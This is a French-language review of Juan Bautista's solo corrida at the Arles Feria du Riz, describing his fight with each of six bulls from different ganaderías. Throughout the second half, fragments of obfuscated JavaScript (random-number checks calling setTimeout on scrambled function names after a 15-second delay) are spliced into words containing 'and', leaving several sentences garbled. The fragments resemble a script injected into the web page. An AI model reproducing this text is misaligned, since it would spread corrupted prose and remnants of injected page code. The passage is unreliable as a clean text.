ARLES. FERIA DU RIZ : LE PARI DE JUAN BAUTISTA

Le solo de Juan Bautista fut un pari qui comportait une importante part de risque que le maestro a su surmonter de manière éclatante. Dans l’ordre d’importance que chacun voudra bien choisir, il a réussi à remplir sur son seul nom les arènes d’Arles – chose que bien peu de toreros peuvent avancer – , il a triomphé sans contestation et ce en affrontant une sélection de toros impeccablement présentés et d’encastes divers ( ce qui l’honor) et face auxquels il a démontré l’étendue de son toreo.

On ne pouvait rêver meilleur anniversaire puisqu’il célébrait ses quinze ans d’alternative en montrant une générosité à laquelle il convient de répondre en retraçant par le détail cette tarde mémorable.

Le toro du Puerto de San Lorenzo qui ouvrit les débats se montra froid de sortie en bon Lisardo qu’il était, et étala sa bravoure au cheval en mettant les reins malgré de gênants coups de tête. Avec la muleta Juan Bautista fit face avec allure devant un toro mobile, exigeant, dont le public mesura mal l’agressivité et la sauvagerie. La froideur de ce dernier et deux descabellos ratés priveront le maestro d’une oreille pourtant méritée.

Joli geste que de choisir dans son solo de se mesurer à un exemplaire d’Hubert Yonnet, le seul ganadero français à avoir présenté des corridas à Madrid, Sevilla ou Barvelona, et récemment décédé le 24 juillet dernier. Peu à dire de la rencontre, sinon que sorti peu fiable dans ses intentions, freinant tête haute dès l’arrivée dans le leurre, attiré par les planches, sortant seul du cheval, sans fixité, regardant de toutes parts, le pensionnaire de La Belugo a imposé à Juan Bautista une lidia rustique et puissante mal conclue de trois estocadades.

Changement de décor avec le Murube de Niño de la Capea sorti en troisième position. Marqué du fer de San Mateo, lourd, il sera peu piqué (malgré la chute infligée à la cavalerie) et bandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}anderillé avec énergie par le maestro arlésien. Humiliant dès le début entamé à genoux par le piéton, il permettra une faena reposée, menée avec rythme, dont il faut souligner la profondeur des naturelles et l’estocade a recibir en conclusion. Deux oreilles méritées, et vuelta au toro qui l’était moins au vu de son insipidité, bien compensée par l’allant du torero

Le pupille d’Adolfo Martín sera brillant au cheval, qualités mises en évidence par Juan Bautista qui le placera de plus en plus loin. Mais, comme il advient parfois chez les toros d’encaste Saltillo, sa manière d’humilier dans le leurre pour mieux se retourner sur les chevilles en fera un « nuisible » imposant au maestro un retour au toreo de métier dans une faena toute de puissance, malheureusement plus incertaine aux aciers.

Le « cinqueño » de La Quinta fera une sortie circonspecte, digne de ses origines Buendía et ne se confiera qu’au cheval. Mais il arrivera à la muleta sans s’employer, fade dans sa charge, permettent cependant à Juan Bautista d’étaler sa technique et de mettre à profit le peu qu’offrait le toro à force de suavité dans le « toque ». Faena intelligente, pleine de recours, conclue d’une estocade et d’un descabello qui font tomber une oreille légitime.

Le juampedro de Domingo Hernández de clôture sera accueilli par « larga afarolada ». Répondant à tout, gêné par les nombreux intervenants dans le ruedo, il se montrera compliqué au capote avant  que sa grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ande fixité apparaisse au cheval face auquel il s’emploie avec classe, puis d’être bandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}anderillé par Juan Bautista, tout de raffinement et d’élégance. D’une grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ande mobilité devant la muleta avec laquelle le torero entame à genoux, il répète inlassablement au cours d’une faena étendue de torero varié, longue succession d’excellentes séries sur la droite, de naturelles étirées et liées, de changements de main ciselés, conclue d’une estocade « a recibir » à montrer dans les écoles.

Pour mettre un point d’orgue à une tarde qui restera dans les mémoires, le public obtient la queue. Vuelta a hombros, sortie par la grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ande porte, des  sourires sur tous les visages…

Que demandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ander de plus ?

 

goy10

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